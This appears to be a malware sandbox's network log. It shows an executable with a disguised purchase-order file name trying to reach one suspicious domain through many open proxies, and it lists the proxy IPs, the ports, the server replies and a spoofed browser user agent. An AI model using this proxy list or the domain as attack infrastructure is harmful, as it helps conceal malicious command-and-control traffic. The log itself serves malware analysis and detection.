1621	192.168.2.11	54733	37.187.77.58	31355	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.293477058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1622	192.168.2.11	54698	8.217.95.44	8899	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.303647995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.621418953 CET	711	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.25.1 Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.25.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1623	192.168.2.11	55083	200.115.188.52	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.316708088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.556255102 CET	243	IN	HTTP/1.0 307 Temporary Redirect Content-Length: 0 Content-Type: text/html Date: Mon, 11 Mar 2024 15:42:27 GMT Expires: Mon, 11 Mar 2024 15:42:27 GMT Server: Mikrotik HttpProxy Proxy-Connection: close Location: http://www.avis.com.hn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1624	192.168.2.11	54722	45.11.95.165	5045	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.327761889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.188668966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.986083984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.504849911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1625	192.168.2.11	55028	42.49.148.167	9001	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.338150978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.832803011 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1626	192.168.2.11	55074	119.3.215.41	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.366147041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1627	192.168.2.11	54070	192.252.216.81	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.388145924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1628	192.168.2.11	55086	5.182.39.25	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.401684999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.188782930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.188899040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.188766003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.985732079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1629	192.168.2.11	55075	111.90.150.109	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.412090063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1630	192.168.2.11	51195	92.204.135.37	22942	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.418732882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.501290083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.688868046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.782799006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.782254934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.782203913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:15.877737045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:39.891522884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:27.969578981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1631	192.168.2.11	51165	210.156.35.196	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.444940090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.532572985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.641854048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.642245054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.782263041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.782207012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:15.902556896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:39.907206059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1632	192.168.2.11	54858	72.206.181.123	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.445475101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1633	192.168.2.11	53615	154.85.58.149	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.461596966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.532583952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.846435070 CET	321	IN	HTTP/1.1 400 Bad Request Server: openresty/1.15.8.2 Date: Mon, 11 Mar 2024 15:42:30 GMT Content-Type: text/html Content-Length: 163 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.15.8.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1634	192.168.2.11	55092	203.218.172.225	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.465972900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1635	192.168.2.11	53783	91.134.140.160	48962	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.506973982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.188831091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.188899994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1636	192.168.2.11	51060	91.107.180.250	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.517095089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.495208979 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:28 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1637	192.168.2.11	55103	157.185.173.217	26589	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.588430882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1638	192.168.2.11	55102	177.38.5.16	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.588980913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1639	192.168.2.11	51317	162.214.225.223	63452	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.610667944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.641932964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1640	192.168.2.11	55099	138.36.150.26	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.612495899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1641	192.168.2.11	55100	94.177.106.178	2324	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.612793922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1642	192.168.2.11	53587	84.201.138.237	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.614645004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1643	192.168.2.11	55098	216.9.224.113	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.621124983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
